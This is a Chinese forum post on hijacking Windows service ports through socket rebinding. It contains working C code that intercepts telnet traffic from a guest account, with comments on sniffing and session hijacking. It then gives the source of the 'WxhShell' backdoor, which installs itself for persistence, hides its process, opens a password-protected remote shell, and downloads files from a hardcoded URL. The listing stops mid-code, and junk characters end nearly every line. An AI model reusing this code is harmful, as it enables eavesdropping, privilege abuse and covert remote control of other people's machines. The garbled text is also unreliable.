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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: X\^3,k."  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); < 8W:ij.`  
`[W)6OUCx}  
  saddr.sin_family = AF_INET; ,2:L{8_L  
!&`7  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); |[n|=ORI'  
ud~VQXZo  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); BYA=M*f  
{ &JurZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }O-%kl  
1J!tcj1(  
  这意味着什么?意味着可以进行如下的攻击: 5G]#'tu  
{(zL"g46  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 |SJ% _#=i  
C*6bR? I9  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) YM4U.! 4o  
*b7 ^s,?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 oVj A$|  
"~,(Xa3x  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  f*R_\  
G%x,t -  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 9#=IrlV4  
  !AD,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 x:D<Mu#  
`&&6-/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 neMe<jr  
.q& ]wu  
  #include ,r)d#8  
  #include I^C ]6D{  
  #include {7MgN'4  
  #include    (UiH3Q9C]%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   g5TLX &Bd  
  int main() dT-O8  
  { 6`PGV+3j  
  WORD wVersionRequested; {10+(Vl  
  DWORD ret; 7$!Bq#  
  WSADATA wsaData; 5'}!v  
  BOOL val; F@*r%[S/  
  SOCKADDR_IN saddr; ? wiq 3f6  
  SOCKADDR_IN scaddr; jzOMjz~:)  
  int err; h"%,eW|^  
  SOCKET s; YUE 1 '}  
  SOCKET sc; hE3jb.s(>  
  int caddsize; qcoZ2VJ hh  
  HANDLE mt; oeqJ?1=!  
  DWORD tid;   w})&[d  
  wVersionRequested = MAKEWORD( 2, 2 ); W SeRV?+T  
  err = WSAStartup( wVersionRequested, &wsaData ); $F'~^2  
  if ( err != 0 ) { ok=E/77`  
  printf("error!WSAStartup failed!\n"); nd9-3W  
  return -1; V:$ 1o  
  } -wHGi  
  saddr.sin_family = AF_INET; t"@|;uPAu  
   uZ{xt6 f  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @RG3*3(  
9~ .BH;ku  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &I">{J<  
  saddr.sin_port = htons(23); O8}s*}]  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) U";Rp&\3;  
  { Z-r0 D  
  printf("error!socket failed!\n"); gZuR4Ti  
  return -1; N pIlQaMo4  
  } F u=VY{U4  
  val = TRUE; i3\oy`GJ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 E52:c]<'m  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 6/[h24d  
  { mgl' d  
  printf("error!setsockopt failed!\n"); 'k) P(H  
  return -1; 6Yi,%#  
  } ZkG##Jp\>  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 4 w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SodW5v a  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ToCfLJ?{  
YH6 K-}  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) pF{Ri  
  { Z|7I }i  
  ret=GetLastError(); f#JF5>o  
  printf("error!bind failed!\n"); !{- 3:N7  
  return -1; x-P_}}K 79  
  } .6]cu{K(  
  listen(s,2); W;j)ux7jMY  
  while(1) ntUVhIE0  
  { !Kn+*'#  
  caddsize = sizeof(scaddr); PDiorW}]k  
  //接受连接请求 Ts *'f  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); (?=(eo<N  
  if(sc!=INVALID_SOCKET) ku8Z;ONeH  
  {   rs KE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); A^jm<~  
  if(mt==NULL) |[t=.dK%  
  { 0R{R=r]  
  printf("Thread Creat Failed!\n"); Z\yLzy#8  
  break; D.JVEKLkU  
  } Jrrk$0H^~  
  } JC-yiORVr  
  CloseHandle(mt); NQ{Z   
  } gnK!"!nL  
  closesocket(s);  0>J4O:k  
  WSACleanup();  o?x|y   
  return 0; W5yu`Br  
  }   +2enz!z#k  
  DWORD WINAPI ClientThread(LPVOID lpParam) r/w@Dh]{_  
  { -&^(T  
  SOCKET ss = (SOCKET)lpParam; {;gWn' aq  
  SOCKET sc; @MVZy  
  unsigned char buf[4096]; DWO:  
  SOCKADDR_IN saddr; 0iq$bT|  
  long num; z~;qDf|I  
  DWORD val; 57%cN-v*  
  DWORD ret; ",oUVl  
  //如果是隐藏端口应用的话,可以在此处加一些判断 X=}0+W  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   @)Y7GM+^  
  saddr.sin_family = AF_INET; ZjID<5#  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); (3S/"ZE  
  saddr.sin_port = htons(23); VZl0)YLK  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) / S^m!{  
  { J*k=|+[  
  printf("error!socket failed!\n"); >I ; #BE3  
  return -1; u8\QhUk'G  
  } 0pG(+fN_9  
  val = 100; %&S]cEw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0|k[Wha#  
  { /9gMcn9EB  
  ret = GetLastError(); JVCgYY({KQ  
  return -1; !I  P*  
  } I!@` _Q9N  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (8/xSOZ[  
  { |W[rywxx  
  ret = GetLastError(); LxGh *7K-  
  return -1; B(NL3WJ  
  } p 8rAtz>=J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +OP'/  
  { 3hjwwLKG$  
  printf("error!socket connect failed!\n"); _)\,6| #  
  closesocket(sc); gpl!Iz~5  
  closesocket(ss); cSWVHr  
  return -1; G->@   
  } $fG/gYvI\  
  while(1) @AyW9!vV;3  
  { ZPog)d@!  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 tV%\Jk),  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k}7)pJNj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 'v5gg2  
  num = recv(ss,buf,4096,0); mSp7H!  
  if(num>0) ?NeB_<dLa`  
  send(sc,buf,num,0); {[#  
  else if(num==0) !7|9r$  
  break; BE;iC.rW  
  num = recv(sc,buf,4096,0); ou4?`JF)-  
  if(num>0) 1@Gv`{v  
  send(ss,buf,num,0); x/v+7Pt_  
  else if(num==0) $*> _0{<  
  break; KL{ uhb0f  
  } &WS%sE{p_  
  closesocket(ss); =i<(hgD  
  closesocket(sc); )^3655mb  
  return 0 ; o*8 pM`uw  
  } l^Z~^.{y  
oDK\v8w-  
7qp|Msf},  
========================================================== 6YbSzx` ?k  
I>|?B( F  
下边附上一个代码,,WXhSHELL `_kRvpi  
5T*7HC[  
========================================================== pm|]GkM  
3j#F'M)s{  
#include "stdafx.h" <Z_`^~!  
xJlq2cK  
#include <stdio.h> '!GI:U+g  
#include <string.h> [Y+ bW#'  
#include <windows.h> W;yZ$k#q}(  
#include <winsock2.h> ;B@l0)7(x  
#include <winsvc.h> @[lr F7`o  
#include <urlmon.h> YzVLa,[  
n`1i k'x?  
#pragma comment (lib, "Ws2_32.lib") w=5qth7  
#pragma comment (lib, "urlmon.lib") ru Lcu]  
}Qo8Xps  
#define MAX_USER   100 // 最大客户端连接数 /GNYv*  
#define BUF_SOCK   200 // sock buffer Gd 9B  
#define KEY_BUFF   255 // 输入 buffer 0cVXUTJ|W  
K>~l6  
#define REBOOT     0   // 重启 S6I8zk)Z4  
#define SHUTDOWN   1   // 关机 MR: {Ps&,  
C5?M/xj  
#define DEF_PORT   5000 // 监听端口 Nq3P?I(<  
m5*RB1  
#define REG_LEN     16   // 注册表键长度 ^%.<(:k[L  
#define SVC_LEN     80   // NT服务名长度  \ Ld7fP  
fx5vaM!  
// 从dll定义API pj`-T"Q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iddT.   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); $cedO']  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); v'=APl+_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )i>KgX  
:7zI!edu  
// wxhshell配置信息 64cmv}d_  
struct WSCFG { ;2~Q97c0  
  int ws_port;         // 监听端口 YFY)Z7fK  
  char ws_passstr[REG_LEN]; // 口令 pe-d7Ou P  
  int ws_autoins;       // 安装标记, 1=yes 0=no  -W ,b*U  
  char ws_regname[REG_LEN]; // 注册表键名 Dc2eY.  
  char ws_svcname[REG_LEN]; // 服务名 7085&\9  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 agzG  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 jrR~V* :k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ycN_<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no N4 pA3~P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" a;sZNUSn  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?u|g2!{_  
H'.d'OE:I  
}; Z^ 3Risi  
6=k^gH[g  
// default Wxhshell configuration OWzIea@  
struct WSCFG wscfg={DEF_PORT, r`@Dgo}  
    "xuhuanlingzhe", IYFA>*Es  
    1, FdD'Hp+  
    "Wxhshell", L $~Id  
    "Wxhshell", lHU$A;  
            "WxhShell Service", YDwns  
    "Wrsky Windows CmdShell Service", kW9STN  
    "Please Input Your Password: ", bYfcn]N  
  1, B(5g&+{Lq~  
  "http://www.wrsky.com/wxhshell.exe", qA42f83  
  "Wxhshell.exe" xN]bRr  
    }; TV}SKvu  
KK}&4^q  
// 消息定义模块 B5hGzplS  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -JK+{<  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Fei$94 a  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ,>Q,0bVhH0  
char *msg_ws_ext="\n\rExit."; 5sH ee,  
char *msg_ws_end="\n\rQuit."; U+z&jdnhDR  
char *msg_ws_boot="\n\rReboot..."; Wil +"[Ge  
char *msg_ws_poff="\n\rShutdown..."; 2=  _.K(  
char *msg_ws_down="\n\rSave to "; #"|Ey6&  
BeRn9[  
char *msg_ws_err="\n\rErr!"; ~H.;pJ{ 8  
char *msg_ws_ok="\n\rOK!"; \a#2Wm  
NZ#z{JI =+  
char ExeFile[MAX_PATH]; e)M1$  
int nUser = 0; Fpb1.Iz  
HANDLE handles[MAX_USER]; |N*>K a;  
int OsIsNt; sYL+;(#t  
NNT9\JRv_  
SERVICE_STATUS       serviceStatus; C^a~)r.h  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; MB)xL-jO  
nz(OHh!}u  
// 函数声明 `'/8ifKz  
int Install(void); \n5,!,A  
int Uninstall(void); 8`D_"3j3g\  
int DownloadFile(char *sURL, SOCKET wsh); [": x  
int Boot(int flag); 1/ a,7Hl  
void HideProc(void); Y 4U $?%j  
int GetOsVer(void); Ugn"w E  
int Wxhshell(SOCKET wsl); $_ y"P  
void TalkWithClient(void *cs); G8SJ<\?  
int CmdShell(SOCKET sock); p=zjJ~DVd  
int StartFromService(void); U*Q$:%72vO  
int StartWxhshell(LPSTR lpCmdLine); pd|s7  
9Ah4N2nL-b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q#Bdq8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nm)F tX|A  
CAXU #  
// 数据结构和表定义 Bn.8wMB  
SERVICE_TABLE_ENTRY DispatchTable[] = /1Eg6hf9B  
{ #>0nNR[$Y  
{wscfg.ws_svcname, NTServiceMain}, }\@*A1*X2  
{NULL, NULL} ~Oq(JM $M  
}; )9*WmFc+#  
*]LM2J  
// 自我安装 5b&'gd^d  
int Install(void) 30<^0J.1  
{ bV"0}|A~K  
  char svExeFile[MAX_PATH]; YRK4l\_`  
  HKEY key; =hA/;  
  strcpy(svExeFile,ExeFile); oyUf/ Sl  
^71sIf;+  
// 如果是win9x系统,修改注册表设为自启动 qU"+0t4  
if(!OsIsNt) { $V[ob   
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 76 y}1aa  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UZyo:*yB  
  RegCloseKey(key); *aSFJK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {AZW."?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); az w8BK  
  RegCloseKey(key); yEH30zSt  
  return 0; @A:Xct  
    } ?vXy7y&4  
  } _^KD&t%!+y  
} }{[F+|\>,e  
else { P%1s6fjU  
xHf l>C'  
// 如果是NT以上系统,安装为系统服务 noacnQ_I$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); YcIk{_N3  
if (schSCManager!=0) /t816,i  
{ t ({:TQ  
  SC_HANDLE schService = CreateService nF)|oA   
  ( GR"Jk[W9  
  schSCManager, !nTq"d%(W  
  wscfg.ws_svcname, W<~(ieu:K~  
  wscfg.ws_svcdisp, km *$;Nli  
  SERVICE_ALL_ACCESS, O%)w!0  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RJ0w3T]7  
  SERVICE_AUTO_START, wqw$6"~  
  SERVICE_ERROR_NORMAL, 5@i/4%S  
  svExeFile, *b> ~L  
  NULL, X@ TQD  
  NULL, U:_&aY_  
  NULL, :Bl $c,J  
  NULL, 5R qkAC  
  NULL V97Eb>@  
  ); 291v R]  
  if (schService!=0) <jxTI%'f59  
  { |S/nq_g]  
  CloseServiceHandle(schService); =l {>-`:  
  CloseServiceHandle(schSCManager); !bQ5CB  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); zE<}_nA  
  strcat(svExeFile,wscfg.ws_svcname);  MgA6/k  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8}4V$b`Z  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9]l7 j\L  
  RegCloseKey(key); NJ3b Oq  
  return 0; (}'0K?  
    } Pj^6.f+  
  } a 6[bF  
  CloseServiceHandle(schSCManager); [&e}@!8O`  
} oM J5;  
} g,\<fY+ 4  
@dGj4h.  
return 1; Tc{r}y[)  
} R`Q9|yF\  
|06G)r&  
// 自我卸载 k kY*OA  
int Uninstall(void) A!SHt7ysJ  
{ tlc&Wx  
  HKEY key; !tN]OQ)'  
|XPT2eQ{  
if(!OsIsNt) { QH;1*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;|66AIwDe  
  RegDeleteValue(key,wscfg.ws_regname); 68d(6?OgW  
  RegCloseKey(key); \!`*F :7]-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gJ:Z7b  
  RegDeleteValue(key,wscfg.ws_regname); XBCz\f  
  RegCloseKey(key); \ 3ha  
  return 0; zcDVvP  
  } st~f}w@  
} p,U.5bX  
} H;|^z@RB<  
else { $kg!XT{ V  
O]`CSTv'_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fZ$8PMZv  
if (schSCManager!=0) F8.Fp[_tM  
{ Sa6}xe."M,  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); jrG@ +" }  
  if (schService!=0) 2UA h^i-^  
  { flnoK%wi  
  if(DeleteService(schService)!=0) { n hS=t8H  
  CloseServiceHandle(schService); |K7JU^"OQ  
  CloseServiceHandle(schSCManager); d.sxB}_O  
  return 0; C}%g(YRhb  
  }  ^~?VD  
  CloseServiceHandle(schService); Jv a&"}Cb  
  } [Cvo^cC  
  CloseServiceHandle(schSCManager); hK3?m.> "g  
} \ c9EE-  
} VQ2)qJ#l  
D>PB|rS@  
return 1; xrS;06$  
} 58{6kJ@  
S+7>Y? B!  
// 从指定url下载文件 %3|0_  
int DownloadFile(char *sURL, SOCKET wsh) (Jy7  
{ /(5 SJ(a  
  HRESULT hr; ?tSFM:9PU  
char seps[]= "/";  5'Y @c  
char *token; Syo1Dq6z.  
char *file; Bzw~OB{!=J  
char myURL[MAX_PATH]; 5l}v  
char myFILE[MAX_PATH]; PohG y  
?=$a6o  
strcpy(myURL,sURL); 8W9kd"=U  
  token=strtok(myURL,seps); Y 8EL  
  while(token!=NULL) 8N'[ )Jw  
  { 5F18/:\n  
    file=token; 3t)07(x_B  
  token=strtok(NULL,seps); P_ U[OM\  
  } !SMIb(~[z  
4,`Yx s)%  
GetCurrentDirectory(MAX_PATH,myFILE); XnV*MWv  
strcat(myFILE, "\\"); k7'_  
strcat(myFILE, file); "l"zbW WOH  
  send(wsh,myFILE,strlen(myFILE),0); $~75/  
send(wsh,"...",3,0); TW" TgOfd  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i]JD::P_H  
  if(hr==S_OK) c=0S]_  
return 0; E.R,'Y;x  
else Ivmiz{Oii  
return 1; lQ {k  
oYG9i=lZ  
} KY~p>Jmh  
sB"Oi|#lk  
// 系统电源模块 7jQOwzj  
int Boot(int flag) *VG#SK  
{  olB?"M=H  
  HANDLE hToken; 5hF iK K7  
  TOKEN_PRIVILEGES tkp; .y\j .p  
HZX(kYV  
  if(OsIsNt) { Kc$j<MRtv  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); kj{z;5-dl  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); omevF>b;  
    tkp.PrivilegeCount = 1; MqDz cB]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '_N~PoV  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .B_LQ;0:   
if(flag==REBOOT) { jdqVS@SD  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) JR] /\(  
  return 0; *](maF~%C  
} '[Ap/:/UY  
else { .76T<j_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) QpxRYv  
  return 0; !<BJg3  
} >slD.rb]  
  } hd0d gc  
  else { 4jbqV  
if(flag==REBOOT) { M=:!d$c  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ,@!io  
  return 0; {]BPSj{B  
} ek\8u`GC  
else { +L03. rf  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 6[b'60CuZL  
  return 0; C,r[H5G#  
} a|?&  
} ,< Zu4bww  
ur7sf$  
return 1; "*UN\VV+s  
} LS;j]!CU  
RdaAS{>Sk  
// win9x进程隐藏模块 Jmg<mjq/G  
void HideProc(void) x8x8T $  
{ #[Z ToE4  
Zq1Z rwPF  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B?n 6o|8  
  if ( hKernel != NULL ) O =m_P}K  
  { v% a)nv  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); utOATjB.z  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @{/GdB,}  
    FreeLibrary(hKernel); `s1>7XWf  
  } r{2V`h1/|  
cBcfGNTJ~  
return; 9n9Z  
} l ld,&N8  
+5~5BZP  
// 获取操作系统版本 >1uo5,wrF  
int GetOsVer(void) 9bu}@#4*  
{ K ?uH Am  
  OSVERSIONINFO winfo; jEU`ko_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Xf 0)i  
  GetVersionEx(&winfo); v3\ |  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3<F\ 5|  
  return 1; st4z+$L  
  else 3mef;!q  
  return 0; 8[v9|r  
} y950Q%B]  
GO&~)Vh&7  
// 客户端句柄模块 .kwz$b+h  
int Wxhshell(SOCKET wsl) fL$U%I3  
{ 8`g@ )]Iy  
  SOCKET wsh; *ay&&S*  
  struct sockaddr_in client; x;N@_FZ7KY  
  DWORD myID; -%f$$7  
2-G6I92d  
  while(nUser<MAX_USER) }Br=eaY  
{ skaPC#u  
  int nSize=sizeof(client); k|uW~ I)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 80m<OW1  
  if(wsh==INVALID_SOCKET) return 1; ;[nomxu|?  
 vNWCv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); X 8/9x-E_  
if(handles[nUser]==0) 2><=U7~  
  closesocket(wsh); /6fa 7;  
else t.\<Q#bN#  
  nUser++; TwfQq`  
  } !V.2~V[^M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Q' b@5o  
9!XXuMWU<  
  return 0; qe/dWJBa  
} LOO<)XFJ  
 {^8->V  
// 关闭 socket o,NTI h  
void CloseIt(SOCKET wsh) , B90r7K:  
{ s8:-*VR9  
closesocket(wsh); P55QE+B  
nUser--; +4 W6{`  
ExitThread(0); +jD*Jtb<  
} )70i/%}7  
reP)&Fo  
// 客户端请求句柄 simD<&p  
void TalkWithClient(void *cs) !&(^R<-id  
{ !#[B#DZc(  
rd_!'pG  
  SOCKET wsh=(SOCKET)cs; ]nIH0k3y  
  char pwd[SVC_LEN]; ;9&#Sb/  
  char cmd[KEY_BUFF]; ;6)Onwx  
char chr[1]; 2#jBh   
int i,j; y/vGt_^;3<  
xcHuH -}  
  while (nUser < MAX_USER) { 3a Y^6&  
y|b&Rup  
if(wscfg.ws_passstr) { w|,BTM:e  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cM?i _m  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HuI?kLfj\  
  //ZeroMemory(pwd,KEY_BUFF); UwtL v d  
      i=0; 5mqwNAv  
  while(i<SVC_LEN) { 'g5 Gdn  
Dve+ #H6N  
  // 设置超时 "L9yG:  
  fd_set FdRead; xfzGixA  
  struct timeval TimeOut; aam6R/4  
  FD_ZERO(&FdRead); S"<"e\\}"_  
  FD_SET(wsh,&FdRead); ?9Hs,J  
  TimeOut.tv_sec=8; 1 !8 b9  
  TimeOut.tv_usec=0; ?mi1PNps#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t,]E5,1  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); xg.o7-^M  
(5/>arDn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xJ rKH  
  pwd=chr[0]; Spm0DqqR?  
  if(chr[0]==0xd || chr[0]==0xa) { }!_ofe  
  pwd=0; %G`GdG}T  
  break; ^'G,sZ6'Nh  
  } KD=W(\  
  i++; o4t6NDa  
    } UJ?qGOM3x>  
w,x'FZD  
  // 如果是非法用户,关闭 socket P1_ZGeom*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); S x0QPX  
} 8! X K[zL  
5jey%)=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s(0"r.  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Hx?OCGj=S*  
yx\I&\i  
while(1) { ^q}cy1"j"  
zgn~UC6&  
  ZeroMemory(cmd,KEY_BUFF); 9Hm>@dBhM  
wa%;'M&  
      // 自动支持客户端 telnet标准   AuIg=-xR  
  j=0; )`,Y ^`F2  
  while(j<KEY_BUFF) { =\FV_4)  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); D.ERt)l>  
  cmd[j]=chr[0]; +:ih`q][b  
  if(chr[0]==0xa || chr[0]==0xd) { NpAZuISD!  
  cmd[j]=0; X3zpU7`Av+  
  break; 0`Hr(J`F  
  } T$IwrTF@?  
  j++; lF#p1H>\  
    } 9#MY(Hr  
-d)+G%{  
  // 下载文件 p0sq{d~  
  if(strstr(cmd,"http://")) { o>jM4sk$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ad)::9K?J  
  if(DownloadFile(cmd,wsh)) 6 k+4R<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); WlHK  
  else /v-:ca)7mI  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IBm"VCg{Ew  
  } _q z^|J  
  else { _j sJS<21  
6F:< c  
    switch(cmd[0]) { OzA'd\|  
  AI,Jy%62/  
  // 帮助 U-ADdO h"q  
  case '?': { 8<:.DFq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J e"~/+  
    break; 4N[KmNi<  
  } *-`-P  
  // 安装 [ BZA1,  
  case 'i': { <x[CL,Zg7  
    if(Install()) ,)35Vi;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?Rd{`5.D  
    else VdOcKP.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ; S~  
    break; oY<R[NYKu  
    } 2Fc>6]:*  
  // 卸载 SUN!8 qFA  
  case 'r': { cnraNq1  
    if(Uninstall()) EPiZe-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jt`\n1q)  
    else _%]x-yH!@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @;t6Slc"~  
    break; [ f;o3  
    } *Y`c.n"  
  // 显示 wxhshell 所在路径 vhd+A  
  case 'p': { B>UF dj]-  
    char svExeFile[MAX_PATH]; {,+MaH  
    strcpy(svExeFile,"\n\r"); b <z)4  
      strcat(svExeFile,ExeFile); h/pm$9A  
        send(wsh,svExeFile,strlen(svExeFile),0); C @nA*  
    break; I%M"I0FV  
    } GV0-"9uwX~  
  // 重启 DIBoIWSuR  
  case 'b': { AlA:MO]NM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); f)19sjAJk  
    if(Boot(REBOOT)) ~A@HW!*Z@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lPZYd 8  
    else { zff<#yK1  
    closesocket(wsh); QWI)Y:<K/  
    ExitThread(0); bae\EaS ?  
    } \e9rXh%  
    break; svvl`|n%  
    } M2!2 J  
  // 关机 i`^[_  
  case 'd': { YR-Ge  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qV5l v-p  
    if(Boot(SHUTDOWN)) hxZL/_n'  
